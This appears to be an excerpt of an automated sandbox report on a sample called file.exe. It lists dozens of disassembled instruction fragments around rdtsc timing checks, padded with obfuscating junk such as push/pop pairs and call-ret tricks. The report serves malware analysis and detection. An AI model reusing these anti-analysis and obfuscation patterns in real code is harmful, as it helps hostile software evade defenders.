Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F29EF second address: 7F2ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F16h 0x00000009 popad 0x0000000a pop esi 0x0000000b add dword ptr [esp], 5CCD1035h 0x00000012 mov dword ptr [ebp+122D3908h], edi 0x00000018 push 00000003h 0x0000001a jbe 00007EFE30C69F0Bh 0x00000020 push 00000000h 0x00000022 mov ecx, dword ptr [ebp+122D2BC1h] 0x00000028 push 00000003h 0x0000002a jmp 00007EFE30C69F14h 0x0000002f push D334F503h 0x00000034 pushad 0x00000035 jmp 00007EFE30C69F0Eh 0x0000003a jmp 00007EFE30C69F17h 0x0000003f popad 0x00000040 xor dword ptr [esp], 1334F503h 0x00000047 sub di, 555Bh 0x0000004c lea ebx, dword ptr [ebp+12446885h] 0x00000052 push 00000000h 0x00000054 push ebx 0x00000055 call 00007EFE30C69F08h 0x0000005a pop ebx 0x0000005b mov dword ptr [esp+04h], ebx 0x0000005f add dword ptr [esp+04h], 0000001Ah 0x00000067 inc ebx 0x00000068 push ebx 0x00000069 ret 0x0000006a pop ebx 0x0000006b ret 0x0000006c or dword ptr [ebp+122D38E7h], edx 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007EFE30C69F12h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2B6C second address: 7F2B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007EFE30DC1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2B76 second address: 7F2BB7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 056EB431h 0x0000000f push eax 0x00000010 cld 0x00000011 pop ecx 0x00000012 push 00000003h 0x00000014 mov dword ptr [ebp+122D1BABh], esi 0x0000001a mov edx, dword ptr [ebp+122D2D0Ch] 0x00000020 push 00000000h 0x00000022 mov ecx, 4BFA94AAh 0x00000027 push 00000003h 0x00000029 movsx ecx, bx 0x0000002c sub ecx, dword ptr [ebp+122D2C6Dh] 0x00000032 push C1E6730Fh 0x00000037 push eax 0x00000038 push edx 0x00000039 jnc 00007EFE30C69F08h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2BB7 second address: 7F2BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2BBD second address: 7F2BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C68 second address: 7F2C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C6C second address: 7F2C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b jmp 00007EFE30C69F0Fh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C94 second address: 7F2C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2C9B second address: 7F2CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2CA1 second address: 7F2CC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFE30DC1B16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2CC3 second address: 7F2D42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jne 00007EFE30C69F0Eh 0x00000014 jng 00007EFE30C69F08h 0x0000001a pop eax 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007EFE30C69F08h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 push 00000003h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007EFE30C69F08h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 push 00000000h 0x00000053 jmp 00007EFE30C69F0Dh 0x00000058 push 00000003h 0x0000005a mov esi, edx 0x0000005c call 00007EFE30C69F09h 0x00000061 push ecx 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2D42 second address: 7F2D50 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2D50 second address: 7F2D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2D56 second address: 7F2DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e jc 00007EFE30DC1B08h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop esi 0x00000017 mov eax, dword ptr [eax] 0x00000019 push edx 0x0000001a jnp 00007EFE30DC1B1Eh 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007EFE30DC1B12h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8119E3 second address: 8119F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007EFE30C69F22h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8120B0 second address: 8120DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFE30DC1B0Ch 0x00000012 jnl 00007EFE30DC1B06h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8120DB second address: 8120EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8120EC second address: 8120F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8120F3 second address: 8120F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8120F9 second address: 812106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007EFE30DC1B0Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809BB4 second address: 809BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812895 second address: 8128A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B0Ah 0x00000007 js 00007EFE30DC1B06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8128A9 second address: 8128B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFE30C69F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8128B3 second address: 8128B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812B65 second address: 812B9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jmp 00007EFE30C69F12h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007EFE30C69F08h 0x00000015 jmp 00007EFE30C69F14h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812B9D second address: 812BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812BA3 second address: 812BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812BA9 second address: 812BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812F9E second address: 812FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 812FA2 second address: 812FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A17E second address: 81A188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A188 second address: 81A1BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFE30DC1B15h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A1BB second address: 81A1EC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007EFE30C69F0Ch 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007EFE30C69F15h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819240 second address: 819246 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819246 second address: 819251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007EFE30C69F06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E63D second address: 81E663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 js 00007EFE30DC1B06h 0x0000000d jmp 00007EFE30DC1B12h 0x00000012 pop edi 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E663 second address: 81E68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30C69F0Fh 0x00000009 jng 00007EFE30C69F06h 0x0000000f popad 0x00000010 jns 00007EFE30C69F0Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E82B second address: 81E82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E82F second address: 81E868 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFE30C69F06h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007EFE30C69F13h 0x00000012 jmp 00007EFE30C69F18h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EC9A second address: 81ECB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007EFE30DC1B13h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ECB2 second address: 81ECD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F19h 0x00000007 pushad 0x00000008 jnl 00007EFE30C69F06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EE31 second address: 81EE36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EE36 second address: 81EE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jbe 00007EFE30C69F08h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jbe 00007EFE30C69F06h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EE57 second address: 81EE61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007EFE30DC1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EE61 second address: 81EE65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8201F5 second address: 820244 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007EFE30DC1B06h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 14C3552Ch 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007EFE30DC1B08h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d push 7A81E82Dh 0x00000032 pushad 0x00000033 jg 00007EFE30DC1B0Ch 0x00000039 pushad 0x0000003a push eax 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820628 second address: 820632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007EFE30C69F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820632 second address: 820636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820793 second address: 8207A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820816 second address: 820820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007EFE30DC1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820820 second address: 820837 instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFE30C69F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007EFE30C69F06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820837 second address: 820853 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30DC1B18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820853 second address: 82085A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 820936 second address: 82094D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFE30DC1B08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007EFE30DC1B14h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821315 second address: 821319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821319 second address: 821339 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D2D0Ch], ebx 0x00000010 xchg eax, ebx 0x00000011 push edi 0x00000012 je 00007EFE30DC1B08h 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b push eax 0x0000001c pushad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821FCD second address: 821FF3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFE30C69F08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFE30C69F17h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823D8C second address: 823D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823A94 second address: 823AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823AA0 second address: 823AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8247DB second address: 8247E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8247E1 second address: 824848 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFE30DC1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007EFE30DC1B08h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007EFE30DC1B08h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 add esi, dword ptr [ebp+1243FE47h] 0x0000004b xchg eax, ebx 0x0000004c pushad 0x0000004d pushad 0x0000004e push ebx 0x0000004f pop ebx 0x00000050 jp 00007EFE30DC1B06h 0x00000056 popad 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824848 second address: 824867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFE30C69F14h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825020 second address: 82505A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B17h 0x00000009 popad 0x0000000a jmp 00007EFE30DC1B10h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jno 00007EFE30DC1B06h 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82505A second address: 825060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C7D3 second address: 82C7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E883 second address: 82E889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E889 second address: 82E89C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007EFE30DC1B06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F7D8 second address: 82F7DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F88A second address: 82F8A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007EFE30DC1B0Eh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 832582 second address: 832586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83367B second address: 8336AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFE30DC1B10h 0x00000009 popad 0x0000000a pop esi 0x0000000b nop 0x0000000c mov dword ptr [ebp+1246C186h], esi 0x00000012 push 00000000h 0x00000014 or dword ptr [ebp+122D36EBh], ecx 0x0000001a push 00000000h 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jg 00007EFE30DC1B06h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8336AC second address: 8336C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8355D1 second address: 8355D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8355D5 second address: 835646 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFE30C69F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007EFE30C69F13h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007EFE30C69F08h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007EFE30C69F08h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a jnc 00007EFE30C69F0Ah 0x00000050 push eax 0x00000051 pushad 0x00000052 push ecx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83484B second address: 834855 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFE30DC1B0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8337ED second address: 8337F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8357B8 second address: 8357BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836824 second address: 83683B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFE30C69F0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007EFE30C69F0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
